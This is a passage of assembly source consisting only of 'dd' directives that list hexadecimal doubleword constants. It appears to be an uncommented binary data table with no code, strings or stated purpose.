		dd 6997F62Ch, 0E48ECC81h, 0EE98DAF7h, 396814CBh, 328FEAABh
		dd 0CF5C79D6h, 7FA40191h, 0EBF47570h, 0FCC1569Fh, 7D373E67h
		dd 0E93B8D9Dh, 12E7058Dh, 7A982688h, 0F51354ECh, 0C0D28721h
		dd 94C97Ah, 9088B0C5h, 0FA30A1D7h, 12992FDCh, 7FA33B09h
		dd 93A725EEh, 0A17477DDh, 21F6DDAAh, 0A3B24DCBh, 0A68B3AC8h
		dd 9DBB4F25h, 8FA11284h
		dd 0F4E69E6Bh, 0BCA8B6F4h, 0D38A2ED8h, 0C88A6C82h, 0CB14424Ah
		dd 3459BBAEh, 1072A5B5h, 377EBB56h, 28B1AD4Bh, 4DC4D667h
		dd 0DD516090h, 37289A7Ch, 0FC634B8Ch, 0B642A287h, 4F85E966h
		dd 0F871F9E3h, 61630E15h, 7656E1AEh, 0EFF572F5h, 9A6BA8F6h
		dd 5FDB42D4h, 2850AC51h, 484F4C9Ch, 5DEEBA24h, 4804C479h
		dd 237AD05Eh, 13471004h, 0E56D0805h, 0A343B591h, 2B56FA3Eh
		dd 0C3E0F9BCh, 0ACCA4808h, 0FE2EEFB5h, 7ECC03Dh, 80039305h
		dd 0A5E85581h, 0BD69CDDDh, 5BEB1267h, 0C6D81FAFh, 9C0557C4h
		dd 0B5CCB28Bh, 1018B3E7h, 6E8A1FC4h, 389B7538h,	0B039BAEDh
		dd 0ECAE9E70h, 665B9718h, 4AE84F19h, 0D68289F3h, 0AA6DB3CEh
		dd 0DB11ADEFh, 87A21850h, 0AAD37DB7h, 59A825AAh, 8957CF94h
		dd 0F1D34A6Bh, 5DA6BD94h, 68E21226h, 0C1461F25h, 0CC87AF52h
		dd 0A201F7CFh, 0E8E8D8CAh, 503FE2A1h, 2F35DAA5h, 0D9293AB8h
		dd 65D69644h, 0F276145Ah, 0B3096F7Ah, 49EE42DAh, 146D6E83h
		dd 3FD58855h, 0FCE790E1h, 0A5837738h, 916A9C40h, 0EE679465h
		dd 6907FE43h, 9020E78Eh, 41D577Eh, 0D0406985h, 1191B63h
		dd 9BB2A289h, 0E43F2A64h, 11B978DCh, 738877F1h,	5FDB42D4h
		dd 2850AC51h, 0A496E7DAh, 1AEB1639h, 205C677Ah,	0F73D2F2Ch
		dd 0DE644B17h, 0A46E042Ch, 8D347E4Bh, 0E696A289h, 0F2A082A0h
		dd 141BA1C1h, 0B09E93A1h, 403F89AFh, 0B16073A9h, 51A5BC35h
		dd 535D0143h, 65E8A6EDh, 0F3D714CBh, 0FB9CE9FFh, 0DBB134C8h
		dd 0FE16B2D0h, 5756D63Bh, 0C6EB5D7Bh, 75978E81h, 3E34224Eh
		dd 0D38A67B3h, 601DD31h, 0B38D7049h, 0DCD97FAAh, 0A588E1CEh
		dd 0B3897BB4h, 381856B9h, 61949D1Ch, 0CBB10C35h, 83F0DFD6h
		dd 0A714C3F5h, 3043DAh,	0BE6B8E35h, 931FD46Ah, 70E6EEF5h
		dd 34A2FECAh, 305F009h,	9DD156CAh, 973CF946h, 4EE6C4C2h
		dd 8B634F1Dh, 0F7FA4214h, 349AF73Bh, 6F76E2Dh, 0F3D9A5DAh
		dd 8D298495h, 53C912B2h, 32AAB2E7h, 0B36A85B1h,	0B9FC2A5Ah
		dd 5BE4FA30h, 0AB50F5B8h, 0DE011802h, 6C26EB9Ch, 0E7D40401h
		dd 5E70A3B3h, 0EA29C9C6h, 0EE8836E6h, 86FE6E9Eh, 70EB04F6h
		dd 694A338Ch, 8354FCF7h, 7925D678h, 0E0FB8D31h,	0C080DEC8h
		dd 15614E46h, 0F2E8F2B7h, 3709F354h, 0C90AA731h, 7523E294h
		dd 0C68073BBh, 91C7BF63h, 0C879532Eh, 38BD110Ch, 9CC2A191h
		dd 0A0878C5Ah, 1DDA8342h, 0D7B6621Bh, 1AD7D439h, 453C99B5h
		dd 35CEDBF8h, 76CD8DDCh, 0D797152Fh, 1039A4Fh, 0B79A0264h
		dd 41DDD17Ah, 2BC9C480h, 0FB7C67F1h, 0F4D77CB3h, 8BCA39FEh
		dd 52091E48h, 7867390Ah, 2ADD701Ah, 0AC8FD9A9h,	0E54F30h
		dd 0C4F7A500h, 4D38FA86h, 76A8CD78h, 0FE2ABF59h, 46BCA3FDh
		dd 0F1E4F7Fh, 0CFB42D86h, 18EA7E69h, 0C7D17D0h,	85F04F66h
		dd 31C2013Bh, 617EAAD7h, 1DAFEB7h, 0DC82241h, 0C32A9DF6h
		dd 0D37CC26Ah, 294D6D93h, 43011587h, 0AC6490E2h, 0D0D4B545h
		dd 0A57A22CBh, 13D52647h, 9DFB92Eh, 15AC8797h, 0F6413207h
		dd 0C984C3D7h, 0C12D2057h, 0D184C3F1h, 0E72D2EAFh, 6DAFFC44h
		dd 9A0899C2h, 0E6CF00CDh, 0FE82EDC2h, 0AF80CE90h, 6DE7516h
		dd 975410FDh, 81CD54F6h, 6FAB50BDh, 0BDF74808h,	0BDD32BA2h
		dd 2D70E4D5h, 91A6B402h, 0ACE41FCAh, 0AE38D45Ch, 670BDB14h
		dd 260C0AC2h, 25EDDFFh,	0E1D62628h, 56CAFC5Fh, 93CE5307h
		dd 18E756D2h, 0FD6B6A7Bh, 0FF4D731Bh, 34A66672h, 579A043Bh
		dd 0B2EB9484h, 5F662C20h, 3A955CDh, 4EA51FFh, 65F745AEh
		dd 8EA70B46h, 0B99ED133h, 9EAE58C7h, 2AE46C4h, 0E3D4F24Ch
		dd 2B135A8Dh, 0D8E501DFh, 0DE92A048h, 4D38348Dh, 60FA1EFCh
		dd 0A1B26827h, 0A8C5AEBEh, 89C3573h, 0BE515AC4h, 0A249F5EAh
		dd 9ABF10Bh, 0AA43062Ah, 2290A49Bh, 0A245773Fh,	5757C18h
		dd 7F8B4CD7h, 23F4D099h, 0DCE8CA73h, 30384CEDh,	62D33092h
		dd 5E05B46Ch, 0ECF59279h, 9FF9371Fh, 0C390A8A7h, 1C24474Dh
		dd 0CCB40DCBh, 1F299956h, 0A7FB39AEh, 0C02117A1h, 0D1803FDAh
		dd 159BBD0Ah, 9AFA2586h, 0EA5D6470h, 0A5F893D8h, 9CC54BAEh
		dd 0F74979B6h, 0E027A99Eh, 213A392Ch, 52532E7h,	0E182736Ch
		dd 0A3EBEC20h, 0BF244113h, 0F407BBD9h, 0C1603C6Fh, 789D8CC1h
		dd 48CC31Eh, 92CE412Fh,	64645D38h, 21C828A9h, 0C87A229Ch
		dd 8387CA39h, 3146A72Ch, 9A6DCC12h, 9F8FC4AFh, 2D107878h
		dd 16BD8822h, 53F08040h, 8A7FCB01h, 1DD44F8Eh, 87E50267h
		dd 26D391F7h, 0B6BB03EAh, 0D4AEB0B2h, 4C8F3F1Ch, 5B836EBh
		dd 0F64C03FFh, 0CEF3DABDh, 0D44CFECAh, 0B132700Bh, 2E28010Ah
		dd 8643EE58h, 4B578C58h, 0F36EBF5Ch, 9F6CB457h,	390E6413h
		dd 27049BFCh, 0EA50B13Eh, 0D2731E63h, 8C0251C1h, 0BD24C1FFh
		dd 565AEE62h, 0A0EF0A83h, 0A61C64E5h, 286B0214h, 0C383110Fh
		dd 82757B9Dh, 52DD0E4Dh, 241B8BDCh, 0D850120Eh,	5157FD26h
		dd 1C82D150h, 74C14E3Bh, 0C6B58916h, 0C8CE4CF9h, 0DBFDE659h
		dd 709B0794h, 0FD636177h, 0E23E7E89h, 1EB91D9Ch, 0C27DC8EDh
		dd 65165BB9h, 0AAB5EE19h, 0BB97EE8h, 0F7254A4Ah, 0DD46AA90h
		dd 0B39BB294h, 868B4002h, 0CC1FE8Ch, 3260BF5Eh,	0D34C7AADh
		dd 0CEDC116Ch, 0CA265B3Fh, 27944199h, 0CC72CD15h, 0F97662C2h
		dd 436FBD14h, 4A949E18h, 0BD4366B5h, 0FDEDE89Bh, 0F622E362h
		dd 5E5B60C7h, 80C09EF4h, 7BD14129h, 0F62A3BA7h,	43324689h
		dd 0DE9DD846h, 41913E4Ch, 0A1A94B27h, 2ACC1B55h, 0F837DD65h
		dd 1879A22Ch, 0BB0558D9h, 1D9D3482h, 10D341C1h,	9157F3EAh
		dd 3CA2B565h, 0E449C43h, 0F0FA7406h, 995D0913h,	93390C63h
		dd 0A652EAA1h, 0A2CCF48Dh, 791AE3C1h, 7E2C5F77h, 1E061515h
		dd 0E8BC97DCh, 324240E9h, 0EBB14991h, 0A3DE5A2Ch, 59483C71h
		dd 739BF8Ch, 0D601959Bh, 32D41CF6h, 39CB5828h, 754452F4h
		dd 0F8AE13F0h, 0BAC8029Ch, 0C6E89E28h, 45675CD9h, 0DC56946Bh
		dd 0DEEAC942h, 0CF1638EEh, 30EF96BCh, 77CFD7D1h, 356D0B0Bh
		dd 0E67B6EFFh, 8C79E0BBh, 64353BF6h, 7F41AC2Bh,	137405ECh
		dd 0E62C4EA6h, 21A78163h, 0CAFD3CE2h, 8C6A06E4h, 6ABF1C86h
		dd 0ED7950FCh, 97EF1262h, 0A382B34Ah, 8DB8BD37h, 0ACFC323Dh
		dd 0E3849AC4h, 0DD31C9DCh, 4B273B7Ch, 0E46465AFh, 0FE4D4F79h
		dd 4D171335h, 0C115F262h, 0A28FE7CBh, 4C3A4B6Ah, 5D099AB6h
		dd 8230AA01h, 93024FC3h, 0DE97D81Ah, 7BAA8B3Eh,	7CF2A7B7h
		dd 686D831Ah, 5DCF8EFBh, 544432E6h, 0B04BD0F2h,	5D05BB4Ah
		dd 0F1AA95D3h, 5B1706FAh, 928D3847h, 318214B0h,	7529A1F6h
		dd 0E8366DDh, 9001A911h, 5C942D4Ah, 2DC0A497h, 0AF02161Eh
		dd 7F578A82h, 549AD6F7h, 79F55F56h, 0FE6AFFAAh,	7E107106h
		dd 23892A16h, 0BA8DBD2Ch, 98FFE421h, 0E4074C26h, 8FB8A149h
		dd 12C4BED6h, 0AEF382h,	6FDA912Ch, 276C1359h, 0FCCC41Fh
		dd 0ED3E0D42h, 47B40BC3h, 0A44653FCh, 7865793Ah, 8C69770Eh
		dd 0CF780522h, 98D5CE39h, 0C54F2FD9h, 230DE091h, 1AA0BC0Dh
		dd 24B9FEEFh, 9CBB5C22h, 46351FEDh, 0DE88AF67h,	726CBBDh
		dd 3687D401h, 0DBDB043Eh, 0C42A4E1Bh, 0ABC7FA18h, 36B96BA9h
		dd 45007760h, 33A817B2h, 0CF516EC4h, 0AEC3ED8Fh, 4D3F105h
		dd 0EAFF5653h, 0AD4B8383h, 0C6CF734Ch, 6009A42h, 0CC5DD4CFh
		dd 0AFF773E8h, 77E4BF8Ch, 5E24C6C5h, 0F2607D54h, 14D7F3A0h
		dd 5E177FECh, 5E70426Dh
		dd 0A53FC3CBh, 0F8E09C9Fh, 0E0B08EFh, 473675F5h, 97A17E40h
		dd 51DCB3C1h, 0F6C9536h, 79C71A0Ch, 587BC35Bh, 8588550h
		dd 132FE007h, 6B7EF5BDh, 55EF19C7h, 6C7C4C79h, 0B1BAC9BEh
		dd 2843E0C6h, 8F15362h,	966DCBCBh, 0E8C37C7Dh, 0D9AFD907h
		dd 46CD3167h, 581140C5h, 971622C9h, 0C1C0A012h,	47C5714Bh
		dd 0F4706247h, 0B17897D9h, 64486173h, 0CA9048B6h, 0AD2B512Dh
		dd 0E409333Dh, 1399AD01h, 66FC408Ah, 34E198CAh,	8C2A1DF8h
		dd 5F017DD3h, 4571FFA5h, 125FB1F0h, 5F4D711Fh, 348338E6h
		dd 39FC0D8Dh, 0D2573EF7h, 158554CBh, 2A974895h,	0D2A31FDCh
		dd 58ACA8EBh, 0A14DF26Eh, 0BE3BAB5Ch, 1BDEE9A7h, 9B63BD69h
		dd 0A9FFABE5h, 58012284h, 0DF06A70Ah, 0BE623930h, 0F5CF708Ch
		dd 203652D7h, 0DD790EDDh, 0D0BD65Ch, 0F2A283D3h, 0AB0B16F8h
		dd 5AD493F8h, 0FF749BCDh, 6829F665h, 81C3D77Eh,	91033A23h
		dd 92042630h, 0E396AD19h, 0F478D6C8h, 5FAAEB53h, 615C51E4h
		dd 71B1AC68h, 0B0B57D86h, 62EC4E90h, 0EBE8ABFCh, 0F55B6911h
		dd 5F61C17Eh, 6CCF0ECDh, 0B43B7201h, 41B4A89Dh,	0FFE9A794h
		dd 39BD71B2h, 0F461C0AAh, 7D67211Bh, 0F551BFF5h, 58DDB48Fh
		dd 0BF1E0389h, 90C46F20h, 0D7FC408Ah, 797D244Eh, 6B1ACAAh
		dd 0B09EB36Fh, 29BDDA48h, 0E965532Dh, 0D69D7C8Ah, 0D08D9BA2h
		dd 2A9ED7C8h, 0B9D18F7Bh, 0B0CDA7EEh, 0E096F369h, 84A06B90h
		dd 38B18D64h, 87990E6Ch, 40F35858h, 0B3967B33h,	84A05DCEh
		dd 503B15BDh, 0B21EEE36h, 6E546B8Ch, 1F9C4715h,	99EF054h
		dd 4FABEFFCh, 8FA5C95Ch, 0E08E1028h, 0E998EF81h, 0A443E691h
		dd 1059D6B4h, 0BC1B9E86h, 1FDE7941h, 4FBFF8EAh,	44E14139h
		dd 0A7F5FCE0h, 0D64F6232h, 3A37DC54h, 0DF3E2DB3h, 846E2D5Ch
		dd 0E809972Fh, 9D890A62h, 0A1B8FC2Fh, 59ABAC6Ah, 6178FA49h
		dd 6DFB732Ch, 1A1E0CB6h, 0CCD4C3AAh, 7093B854h,	9ED6F59Eh
		dd 9C7CB4DEh, 4D1C14Bh,	6D34B2B7h, 6491CAF5h, 0A1DAB6B5h
		dd 37B8C680h, 6EF9332Bh, 77AF75D5h, 94312C3Fh, 4683E452h
		dd 2D71CF81h, 366071FEh, 0B539553Ah, 7991E445h,	3660788Ch
		dd 19626CBEh, 647E6282h, 0FACFECDDh, 7C9FC67Bh,	0EE9364h
		dd 274E13ACh, 62135738h, 0F5D8AAABh, 0A1B33E5Fh, 0B20B7771h
		dd 0B570BB48h, 23131109h, 0DDCF90CBh, 603C5E64h, 1C53540Ch
		dd 0C03DBA34h, 0CB6B7578h, 3CEA441h, 3AF3DCEFh,	262B9515h
		dd 0ED9E0491h, 0B454B4EAh, 0C4B85568h, 0D29B7742h, 9B0F1A14h
		dd 66ED18D7h, 0D988B7BCh, 0B50E9E33h, 0F9DA0C0Eh, 35E68515h
		dd 0FB9B8B6Ah, 3BF90877h, 7895DCBFh, 9340B10Bh,	44889A2Fh
		dd 659911E1h, 475A26B5h, 3FFAC88Eh, 0A9C43301h,	78ADEB7Fh
		dd 7F5C5E03h, 956CD830h, 0AFC613F0h, 12A53865h,	1C844EF6h
		dd 0A932BB8h, 3169359Eh, 0A712759h, 0F2E02393h,	7D1A8513h
		dd 0E7D5F165h, 8507DA0Bh, 0C43759C2h, 6E4C2287h, 76528526h
		dd 0C30987AEh, 0F3E81959h, 0D552B8C3h, 8E563934h, 18E870EFh
		dd 0FB7871E0h, 6259916Bh, 4EC16DE2h, 0D62F9C15h, 86A4006Dh
		dd 554642BFh, 47B7B2E3h, 5DAF7664h, 72FA7A6Ch, 0DBEA455Ch
		dd 0E7CD2720h, 0A7E9FE32h, 0A4E6C6D3h, 741FD1C4h, 0E4B4CEEFh
		dd 7C7FEC18h, 0C130F98h, 0EA248688h, 5F91B3CBh,	48B606A5h
		dd 0E710B1C6h, 1B004E8Eh, 398623Eh, 0DCBBA7F8h,	2335A9D4h
		dd 8A08C1E5h, 95002801h, 68C7EF20h, 0A4C8F824h,	1BD0B8Fh
		dd 7CF36097h, 8229DDC4h, 0C9F7C52h, 76EA83FAh, 0FAC61084h
		dd 17D2408h, 9DADCC71h,	0BB1369CAh, 6C784D6Bh, 184B4BDh
		dd 0B489F818h, 0EAA2C983h, 0DB596C88h, 74764DFAh, 922F9A6h
		dd 60FC8428h, 47FEF0BDh, 8BBC6C99h, 0ECB55446h,	651153D8h
		dd 919FDBABh, 966C1D7Bh, 3CA3F166h, 0E7CAEAD1h,	7C324745h
		dd 21585250h, 54EEAC65h, 0D661D316h, 0CBF68E8Ah, 2AD6C570h
		dd 5862481Fh, 759B4DEFh, 0B295982Ch, 371FB2D9h,	0BAADDC89h
		dd 38CF132Dh, 4A4E969Bh, 0F1690A05h, 0FB8BCEF3h, 893DAF6Eh
		dd 59AB4F88h, 4D4E2435h, 0D477800Eh, 0E8E0D093h, 4818CB5Fh
		dd 0E9C408F7h, 0BAC814F5h, 555F0C7Dh, 0B15F8A87h, 4F28691Fh
		dd 69C04DDDh, 184652E4h, 0A547C92Dh, 6615DC85h,	106C2190h
		dd 245C60Bh, 993E3111h,	41611299h, 0D30F1D42h, 35007723h
		dd 0B07FDA17h, 0C363D84Ah, 0F39C96AFh, 1107096Fh, 9AF27626h
		dd 0D6355B49h, 7BBCD464h, 66888BAEh, 0F462C06Ah, 28B042B6h
		dd 69405172h, 99894C92h, 0F70BEF7Dh, 43513AA7h,	46A4C0ACh
		dd 0D40890C2h, 3ACBEFF6h, 55C3739Ch, 94CC4C5Ah,	0C079DACEh
		dd 0F0E8EABFh, 3A9139B5h, 0EC045259h, 96FE62A0h, 7903BAD1h
		dd 6001BB2Dh, 16999A3Dh, 53ED8F64h, 0CA3D0E49h,	0DD074642h
		dd 430DCCF6h, 828AD3DCh, 0A5759469h, 0F048458Dh, 0CAD5E206h
		dd 309734DFh, 0EED96FB7h, 0FC6330Bh, 0AE554AEh,	0C168190Dh
		dd 4470A6BBh, 34C918B2h, 6FE84383h, 81597910h, 0BA1587B8h
		dd 0D4CA9F67h, 0D3AC6430h, 934BCC7Fh, 6807101Eh, 0B8CBF3A4h
		dd 9CCEC06Dh, 408A8AB8h, 0E3AFE865h, 7E740946h,	46827FF8h
		dd 8AE2C5B8h, 8C445208h, 3254F6BDh, 4ECC72A7h, 0DBA47C22h
		dd 0FA26F70Ah, 0FD9FE83h, 46475A22h, 21022404h,	0E575456h
		dd 0BD29CB01h, 0DE7835F1h, 6C74DF9Ch, 7BA19B7Fh, 66A575C3h
		dd 81B9D2AFh, 1594D9E8h, 2F13B7A9h, 4B848485h, 73161E65h
		dd 75AD43C5h, 40EEF628h, 0B3B2CCC2h, 0FFAEDD4Bh, 0E9FABEC4h
		dd 9AE8C371h, 0AA3EA483h, 0F79AB48Ch, 920B5AE2h, 37869B22h
		dd 311DE281h, 0F43ED4ADh, 632FD924h, 669AC1F8h,	0DA0DBFF7h
		dd 0BFC25F43h, 0C35F33B5h, 4BC9E282h, 64E10A6Bh, 0F9B659CFh
		dd 0D3CC66EDh, 0DF444162h, 44AE1D7Dh, 852CA642h, 0C8B20A3h
		dd 0D63225Ah, 892DB9B2h, 8D4002B1h, 586A8653h, 0A2AE6601h
		dd 284B1E2Fh, 5B41FB46h, 0E4A3F84Eh, 0DB8B4F50h, 754A2787h
		dd 0A7281A9Ah, 934D2A81h, 0B2B5B9CFh, 6017FCDCh, 0CEEBCE9Ah
		dd 0E7886F18h, 0BA31945Ch, 0AF7E7F87h, 9239E6ACh, 6C9C6ADCh
		dd 7E40C17Ch, 0BF74E850h, 0A88DA77Fh, 9CDEB694h, 7266ECA4h
		dd 99799A80h, 27689A96h, 83E6E747h, 6264AC51h, 1DC6ED12h
		dd 0D073F35Dh, 44C824Ch, 74FCD088h, 61DE51D9h, 584490Ah
		dd 0BA111572h, 0C6ECE2D3h, 49D1DBAEh, 2DE12241h, 2A0BBA0Ah
		dd 585A5F72h, 2D83A499h, 796D50A7h, 889F2345h, 3BA55AF5h
		dd 0D8A1843Eh, 6B2DD90Dh, 0ECEE072Ch, 18E30AAEh, 14DD61h
		dd 446FBDEEh, 597CDE9Fh, 83D28DA4h, 0EF5A5F3Ch,	0D66DB958h
		dd 6C5AFDA9h, 0D433947h, 7C40F688h, 519221F3h, 2B283E9Ah
		dd 58D1F19Ah, 35C1B0Dh,	4C67B37Eh, 0E5398CC6h, 0B1B9C10Bh
		dd 0FDC70DABh, 9FAE7A29h, 0FA02A431h, 0C2BE588Eh, 0BC64487Ch
		dd 15E58C85h, 9AF31869h, 53A0CE42h, 21438h, 142B7BA2h
		dd 0B3F34210h, 0E719A117h, 16A3B56Ah, 3B81FB7Eh, 0E3CF2890h
		dd 0F76DA669h, 0F1BB221Bh, 0FEF948AAh, 0C8E4D18Dh, 60708D8Eh
		dd 165ECAAAh, 1EA1A7ABh, 84F4103Dh, 96A1A5B9h, 0D13136DBh
		dd 356CA2D8h, 689F2E6Fh, 0DAEF63DEh, 3107DF8Bh,	964273DEh
		dd 0CD890ABEh, 0ADD1C7B5h, 86B6E91h, 0F5B86649h, 0A85D675Dh
		dd 0C391465Ah, 0F93D1F2Ch, 69717117h, 2D211707h, 0AFF0B62Bh
		dd 1F046C2Ch, 0D241D7B0h, 0CA42BF3Dh, 9D6BACF6h, 0C7030239h
		dd 7E1A33BEh, 0B5F984A6h
		dd 1803CCF9h, 0B84EC726h, 0BA4286DAh, 32CE6295h, 0BA90E636h
		dd 0D6A0C620h, 6AE43400h, 0CE70AAE1h, 0D43E59D2h, 60D964D9h
		dd 98020063h, 151107FCh, 6B77190Bh, 0E56A1447h,	0E6EAE2CEh
		dd 3786F5D1h, 0DE07BFF7h, 16D37D17h, 9DB52401h,	0E4D1F8E6h
		dd 5B28BDCCh, 2C88C573h, 5E719FB7h, 0DA07433Bh,	1BE18CA8h
		dd 39F2A85Bh, 9577F324h, 0D3430A4Ah, 6CDE82C4h,	60379342h
		dd 25301B4Ah, 0E4941503h, 0E1157500h, 3F4FAA60h, 786A6559h
		dd 0F9620F5Dh, 0FE5FA3F6h, 21B09991h, 0D9028628h, 967C1704h
		dd 27A3C205h, 86F4D9F3h, 0E7E45B30h, 0F10DCAF7h, 0CC9EB5A2h
		dd 7073043Eh, 0CEAEAC1Fh, 0AB690AA3h, 9A4C947Dh, 44810669h
		dd 488F136Ch, 0C3F444EDh, 0E8DB0864h, 27249D54h, 66007AFEh
		dd 0A1C7C3B1h, 157F0A35h, 61CCD5BCh, 0C614900Ah, 0B0B5DA42h
		dd 3A5B2429h, 0FAF581DDh, 1FCF4C25h, 44E19BDFh,	2264884Ah
		dd 120B99B0h, 0EBD17AD8h, 0ED0F65EFh, 0FE795ADEh, 0B108DE5Bh
		dd 0DFCB41D8h, 0BCD8394Fh, 85AE9D6h, 0AF2B2BC1h, 23CB5731h
		dd 0C59AD266h, 0DE0E492Eh, 51DAAB95h, 803DB944h, 5784AFCAh
		dd 0AA6C4B30h, 0DB197D2Fh, 364E28DDh, 7D85D663h, 635AE5EBh
		dd 7A266C67h, 0E0AFBFB4h, 0F764ADAFh, 0FD76E785h, 0CBE1CD20h
		dd 2B549950h, 32DB0D85h, 0D7B8E1F9h, 0CE8041A5h, 317815ECh
		dd 6B0D046Ah, 2FC02603h, 0A6244737h, 5E700CC9h,	0A0717BF7h
		dd 38A8108Ch, 0F4F5068Ah, 0C9093E38h, 6EAF9CC3h, 7CF28F9Dh
		dd 8A226CF7h, 0A34247F0h, 73118B45h, 6C52B93Ch,	0F11145DEh
		dd 15C58C4h, 0E442CAA9h, 130D4797h, 1F6E88B7h, 0CF1E0D95h
		dd 0D387506Ch, 2D0B861Bh, 0DE301647h, 519DB1BCh, 0ADD4D799h
		dd 0E35C24CDh, 42909122h, 57EA27B4h, 1333128Ah,	0D0D5D1Eh
		dd 8D44A6D4h, 0CF5E920Bh, 6F78DB8h, 6CCEC475h, 0FD8835EBh
		dd 0F07E886Dh, 4E89EC13h, 0DA19ADBh, 6EA32913h,	3F75CAB5h
		dd 91D3E164h, 3B73A0EBh, 0CE74F354h, 1AA4A57Bh,	13D9C1C1h
		dd 67A23E9Fh, 58B6A94Fh, 0F004AA9h, 795FF2B8h, 0FF6C93F8h
		dd 87894C43h, 0AED70043h, 0E72E76C9h, 0A44273B0h, 2B78EB9h
		dd 4A5D7470h, 88100ABDh, 0BBE02C74h, 4D3BCCACh,	705E01FAh
		dd 0BEF92D6Dh, 5EC7AE78h, 5AEDB9B6h, 7A797E94h,	23C50B86h
		dd 0C8566874h, 0C2259B43h, 0CC29EFD1h, 49F1BDE9h, 4AC2424Fh
		dd 0E315668Dh, 0BFE64137h, 94A0D839h, 50B1F6BBh, 0F414CC16h
		dd 0DB16FE2h, 4216E5Ch,	0C05A7CB3h, 0C61D76A1h,	0F20F8C57h
		dd 1CA20790h, 94218C4Dh, 58F8332Bh, 0EB081169h,	853181A6h
		dd 0BAE243E3h, 533361A7h, 2238232h, 0D1A0D5EAh,	1023438Ch
		dd 900B560Bh, 0A947264Ch, 786BF734h, 887EADD2h,	909E0156h
		dd 0B5D05D37h, 0CB26DC70h, 96C83892h, 2DD9A341h, 4F44F7B6h
		dd 4A14F41Dh, 0D2376D4Fh, 9D39399h, 0C885F057h,	32086190h
		dd 16F86233h, 5C7FFED6h, 0C8C42897h, 0F7513611h, 0A89D8DD0h
		dd 1FE46993h, 93349B22h, 0B40430DBh, 0CABE5E0Eh, 0E48C855Bh
		dd 63AFD63Ch, 77BEBCCDh, 0C582F789h, 0A03C4004h, 0BC94271Bh
		dd 5EC04D04h, 0AA544127h, 7D2AF67Eh, 0BDA4D49Ah, 609E3D64h
		dd 0E99C54FCh, 438DD419h, 222B6F83h, 0E5EA6090h, 0B9619715h
		dd 8290CCFCh, 5CAD24B1h, 0CB8B72F3h, 8CA712A2h,	91A9885Dh
		dd 0A17051B3h, 0D5338696h, 0C0C1721Ch, 0DFAB6F50h, 2AA6A1B2h
		dd 6DF7D17Bh, 17CC9723h, 0D0C6CE2Bh, 0DA9C4E4Dh, 22F53DF6h
		dd 28A85EA8h, 35EC2FE8h, 3A87BD7Ch, 0BFC54D07h,	826FC206h
		dd 5F796E63h, 0CFCE012Eh, 8D083610h, 0CC61028Dh, 6B6E4E78h
		dd 70D1F6B5h, 0C74F621h, 0DC94AC13h, 0D96FBBE9h, 0EF495E62h
		dd 9F3717D1h, 53407846h, 650F742h, 11F1301Dh, 9C3B7E6Dh
		dd 75D1F338h, 331431BCh, 0F84DF5B5h, 82C7011h, 7CEAEF95h
		dd 116381F5h, 0F657C5ADh, 13A0684Dh, 9537AAFBh,	0A67B8E46h
		dd 48428E85h, 0F347FF94h, 1C8456BCh, 6C1A10F5h,	0A981FE0Eh
		dd 8D910F72h, 0AE5B463h, 54FFF450h, 0BE189E84h,	878E0E78h
		dd 0B9E77685h, 43CEB469h, 97C020E3h, 0DED49A1Ch, 66EC5914h
		dd 0E261D2C9h, 0EE838EFh, 22A5DE4Dh, 0C091707h,	23D7B09Dh
		dd 44842864h, 31CE413h,	0BBAAEEBDh, 55B8B3ABh, 0A0229Ch
		dd 0DE1A5AE7h, 136E8F38h, 2A4DB0D3h, 0B06EC42Dh, 279EA488h
		dd 0B92EDCC6h, 3E837DB4h, 0C992BC75h, 74025FDEh, 0B2E0487Fh
		dd 9A972413h, 0D1DC850h, 4A0821DCh, 0C0C483D3h,	9A317862h
		dd 48E31B26h, 60222332h, 0A4D5ED82h, 0A67BACD7h, 0A5B72D6Ah
		dd 30B0B404h, 0D6DC5ACEh, 4FB8D8B6h, 3A00EF12h,	8B821B21h
		dd 6CAB4D04h, 8CF58374h, 4E601FCEh, 0AFA9B069h,	0DFD98295h
		dd 0E500E6BEh, 0EF48E164h, 2E085D35h, 5F11CC9Dh, 0F4C8CE93h
		dd 0DE67B79Dh, 0A887E6E2h, 9F57BC84h, 464F34A9h, 9DB82DE1h
		dd 0D39AE8E5h, 0F4EB5398h, 3F1F3301h, 0C358732Dh, 0F35E50A9h
		dd 5905DEB2h, 6E7D2644h, 0F2D70243h, 1A0ABB6h, 2109B0C8h
		dd 902BAD1Ah, 340BA09Ah, 0D0D9F252h, 57F96DEDh,	44A4668Ah
		dd 0C9DA349h, 6F6C998Dh, 0AD50AC25h, 38ADD0EEh,	7EFA3363h
		dd 0A671D12Dh, 84545D77h, 436BF3CDh, 9754A319h,	0DDA05877h
		dd 4EDD04AAh, 51BF0D14h, 17BA93F9h, 0AE158D1Ch,	8BB3772Fh
		dd 671E387Fh, 66548998h, 3339EDE6h, 66E52ABAh, 0DA0C9BF5h
		dd 2F2A38CBh, 0AF579515h, 8D3C0CA1h, 8274F329h,	6624F46Eh
		dd 0AB25342h, 0EFC1ED76h, 3CF92466h, 89E1A7B5h,	515A9B51h
		dd 1C5E976Ch, 78F55802h, 0AEEF506Bh, 3D1AE1DEh,	0D4977B8Ah
		dd 40BFF395h, 0EC4B9495h, 0D71CF77Dh, 0AFBF65ECh, 958ACF94h
		dd 0B2D86357h, 9F36BEE4h, 7C065894h, 3D38AC65h,	9F7373Dh
		dd 77201555h, 2278D361h, 590B62C6h, 5E8FC973h, 0E7FA944Dh
		dd 0F6CEF8D9h, 0EB1F5FD3h, 73DA961Ch, 0A3E75379h, 0E355514Ah
		dd 0DF6F42Ch, 29750502h, 777A66F0h, 0AE5768E1h,	98DE0636h
		dd 471E80F9h, 81F50B6Ch, 0F0CEEA56h, 0AB5CFE2Eh, 7C640125h
		dd 5D45EC72h, 4E3D7C0Eh, 0DC7844C7h, 0E58C79C0h, 0B76BD326h
		dd 453C26Fh, 0EF1207A3h, 77780BECh, 0A51CAFE9h,	0AA1EE08Ch
		dd 0F4848FFCh, 4ABF05DAh, 6085DFCDh, 29926FE0h,	0C61F84B7h
		dd 147CB417h, 6DFCCFFDh, 90F593DAh, 5EB75FFAh, 4F55494Ch
		dd 7F95139Bh, 4DAE3264h, 0D55C83B7h, 0BE684E0h,	5ECEEB80h
		dd 591F8737h, 0B974C071h, 1D57C6D4h, 44DCB29Eh,	0BADEFE52h
		dd 0BABC1C6Eh, 0E4E77C5Bh, 663C0CF5h, 863438E6h, 0A0AF35C7h
		dd 0B4B67199h, 7AF45B9Dh, 0CB14424Ah, 3459BBAEh, 0CDD8CD56h
		dd 10D575BEh, 7AA88389h, 0A11EDBB9h, 0D0C56F10h, 0B61785B1h
